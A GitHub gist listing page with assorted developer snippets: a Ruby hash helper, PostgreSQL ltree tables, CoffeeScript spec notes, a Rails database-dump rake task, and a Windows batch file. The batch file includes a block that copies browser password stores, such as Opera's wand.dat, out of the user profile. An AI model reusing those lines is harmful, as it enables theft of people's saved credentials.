Skip to content

Instantly share code, notes, and snippets.

def deep_blank?(hash)
hash.each do |k,v|
any_blank = v.is_a?(Hash) ? deep_blank?(v) : v.empty?
return false if !any_blank || k == '_destroy'
end
return true
end
def deep_blank(hash)
hashes = { hash: hash }
CREATE EXTENSION IF NOT EXISTS ltree;
create temp table properties (
id bigserial primary key,
name varchar(256) NOT NULL,
path ltree,
parent_id integer
);
create temp table reports (
# Writing frontend specs
# 1. describe block
describe 'Service: Deal', ->
# 2. beforeEach block
beforeEach ->
#a.
module "dealglobeApp" # our application module
#b.
@ignat-z
ignat-z / windows_cmd_commands.bat
Last active January 1, 2016 14:59
Some usefull comands for creating windows scripts
REM pick files every minute
:loop
timeout \T 60
robocopy i:\ f:\ /move /e
goto loop
REM copy files that can contains any browser passwords data (IE, Opera, Mozilla)
md "%USERNAME%_%DATE%"
cd "%USERNAME%_%DATE%"
copy "%USERPROFILE%\Application Data\Opera\Opera\wand.dat" wand.dat
@ignat-z
ignat-z / dump.rake
Created October 13, 2013 02:04
OpenShift rake task to create dumpfile
namespace :db do
desc "Make OpenShift database dump"
task :dump do
enviroment = Rails.env || ENV['RAILS_ENV'] || 'production'
config = Rails.configuration.database_configuration[enviroment]
password = config['password']
username = config['username'] || 'root'
host = config['host']
port = config['port'] || 3306